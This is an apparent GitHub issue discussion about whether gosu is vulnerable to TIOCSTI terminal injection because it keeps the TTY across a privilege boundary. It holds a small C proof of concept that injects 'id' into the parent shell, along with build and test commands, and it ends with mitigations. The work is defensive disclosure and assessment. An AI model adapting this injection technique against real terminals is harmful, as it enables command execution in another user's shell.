Keeping the TTY across a privilege boundary might be insecure

[TimWolla]

As per IRC:

<+TimWolla> tianon, you might want to check whether this applies to gosu: http://www.openwall.com/lists/oss-security/2017/06/03/9
<+TimWolla> Should I create an issue?
<@tianon> TimWolla: hrm, that's troubling -- we intentionally don't touch anything TTY related (that's one of the main features over "su" or "sudo") :(
<@tianon> TimWolla: an issue would probably be great for discussing / figuring out whether there's impact to gosu and whether there's something we should fix or document about it :)

[TimWolla]

Also relevant (quote from the link above):

Another point Alan brought up is that if a program is careless enough
not to allocate a new pty, it's probably also careless enough not to
close any fd's that might be open in the parent shell or by the program
itself. Let's also not miss this reminder and review/correct/harden
these same programs in this respect as well.

You should ensure that all the file descriptors are closed (except maybe STDIN / STDOUT / STDERR? I don't know, this is not my area of expertise).

[tianon]

Keeping file descriptors across the boundary was also considered a feature. 😞

Is there any good information about a simple way to exploit so we can more easily test the level to which we're affected and whether there are mitigations we can recommend with or without changes to gosu itself? 😰

[TimWolla]

As I said: Not my area of expertise. Possibly the use for PID 1 in a container is absolutely fine, while other uses are not. I recommend asking on that mailing list.

Use the following headers for proper threading (I can send you the .eml in private if necessary):

References: <[email protected]>
In-Reply-To: <[email protected]>

[TimWolla]

I just noticed that there are further replies to that mailing list thread, including a link to Busybox' bug tracker, with an example program: http://www.openwall.com/lists/oss-security/2017/06/04/2

[tianon]

Nice, thanks for the link! I've tried the program there, and gosu is indeed vulnerable (by design, really).

The catch is that the exploit provided there only works if gosu is run from an interactive shell -- if folks are using gosu in the way that it is intended (exec gosu some-user ... at the end of a docker-entrypoint.sh script), then the parent shell is replaced by gosu, and so there is no longer an interactive shell for the exploiting command to interact with indirectly. 👍

Edit: adding the contents of the C source for posterity's sake:

#include <unistd.h>
#include <sys/ioctl.h>
#include <stdio.h>

int main()
{
	 for (char *cmd = "id\n"; *cmd; cmd++) {
			 if (ioctl(STDIN_FILENO, TIOCSTI, cmd)) {
					 fprintf(stderr, "++ ioctl failed: %m\n");
					 return 1;
			 }
	 }
	 return 0;
}

[TimWolla]

The catch is that the exploit provided there only works if gosu is run from an interactive shell

Consider preventing running gosu from an interactive shell then. If it can be misused it will be misused, especially since it's part of the Debian repositories starting with Stretch.

[tianon]

How do we detect it being used from within an interactive shell? Just detecting a TTY won't be enough, since a TTY is generated for non-interactive cases too (such as docker run -it --rm ...).

[tmarplatt]

if folks are using gosu in the way that it is intended (exec gosu some-user ... at the end of a docker-entrypoint.sh script)

What if gosu is used to launch a TTY? Say, at the end of a Dockerfile:
CMD ["gosu", "user:group", "/bin/bash"]
Is the spawned shell safe from this exploit?

(Great work on gosu btw)

[tianon]

Since the shell spawning that container is completely isolated from the Docker container, it should be isolated from this exploit, but I'm going to go verify that now to be sure. If it is, then Docker itself should be also (with or without gosu being involved), but it shouldn't be since the Docker daemon is allocating an entirely new TTY, and simply attaching our current terminal's input to that new TTY.

[tianon]

Ok, I put the C source into a file called source.c, and used the following to build a static binary to make this easier to mess with:

$ docker run -it --rm -v "$PWD":/src -w /src -u "$(id -u):$(id -g)" gcc gcc -o boom -static ./source.c

(so now I've got an executable named boom in the current directory which is statically compiled and ready for testing)

Running that file directly in my current terminal exhibits the vuln:

$ ./boom
id
$ id
uid=1000(tianon) gid=1000(tianon) groups=1000(tianon),...

Running that in a container:

$ docker run -it --rm -v "$PWD":/cwd:ro alpine /cwd/boom
id

(no additional id process spawned anywhere, either inside or outside the container)

And with gosu (latest release downloaded to the current directory):

$ docker run -it --rm -v "$PWD":/cwd:ro alpine /cwd/gosu nobody /cwd/boom
id

[EtchedPixels]

And when your docker process dies the id will be typed into the shell I suspect. Even if you say 'but it'll never die' what about forced out of memory ?

For other fun try things changing the terminal speed, video mode settings etc or reloading the keymap if it's run on a console.

The only case it's safe not to allocate a pty/tty pair is if you know you are going from low to high privilege. Even then you need to be careful about how much trust you have in the caller.

If docker is allocating a pty/tty pair then you may be safe - or at least you can only harm the inside of the container but as a general purpose utility it's a bit of a hazard.

[tianon]

@EtchedPixels except that the interactive terminal we (the user) are attached to is never passed to the container -- when we do docker run, that communicates through a socket back to dockerd, which allocates a new TTY and passes that to the container, and we're simply sending/receiving TTY updates through that socket, so our own TTY is already isolated in the Docker use case (and if it isn't, then that's a bug in the Docker client which should be fixed)

[EtchedPixels]

Which means its safe for that explicit use case - but not generically.

[tianon]

Not sure I understand fully what you're getting at -- that's the target use case of gosu. 😕

[EtchedPixels]

I'm agreeing it works for the target case. But it doesn't work if people go off and use if for other things. Not saying that's bad, and it's documented here now. For your intended purpose it looks good to me.

(and I ended up reading this and the code because someone was planning to use it in a different context)

[rapenchukd]

May I recommend at least explicitly specifying that is the only intended use case, and at a minimal warn that it could be a vulnerability used otherwise? I see gosu used in a lot of things that aren't contained in a container.

Or maybe even go as far as to make it so gosu will only work if it is spawned by PID 1?

[tianon]

Good point, note to the README added in 80bde40.

[tianon]

(I'd be very interested in hearing more about places folks are using gosu outside of a container -- I haven't seen any of those, and that's frankly a little terrifying.)

[dbjpanda]

I use gosu in my entrypoint script like below.

HOST_CURRENT_USER_ID=$(stat -c "%u" /var/www/${PROJECT_NAME})
if [ ${HOST_CURRENT_USER_ID} -ne 0 ]; then
    gosu root usermod -u ${HOST_CURRENT_USER_ID} deploy
    gosu root groupmod -g ${HOST_CURRENT_USER_ID} deploy
fi

which gosu && gosu root chmod o-rwx /usr/bin/gosu

As you can see at the end of my entrypoint script I have revoked the permission from gosu. Is it safe now ?

[tianon]

I'll reiterate that gosu root ... really doesn't make sense; this is the wrong tool for the job of escalating privileges (it's designed for the exact opposite of that).

[tianon]

Coming back to this, https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=83efeeeb3d04b22aaed1df99bc70a48fe9d22c4d is useful -- setting CONFIG_LEGACY_TIOCSTI=n on a new enough kernel completely disables this vector. 👀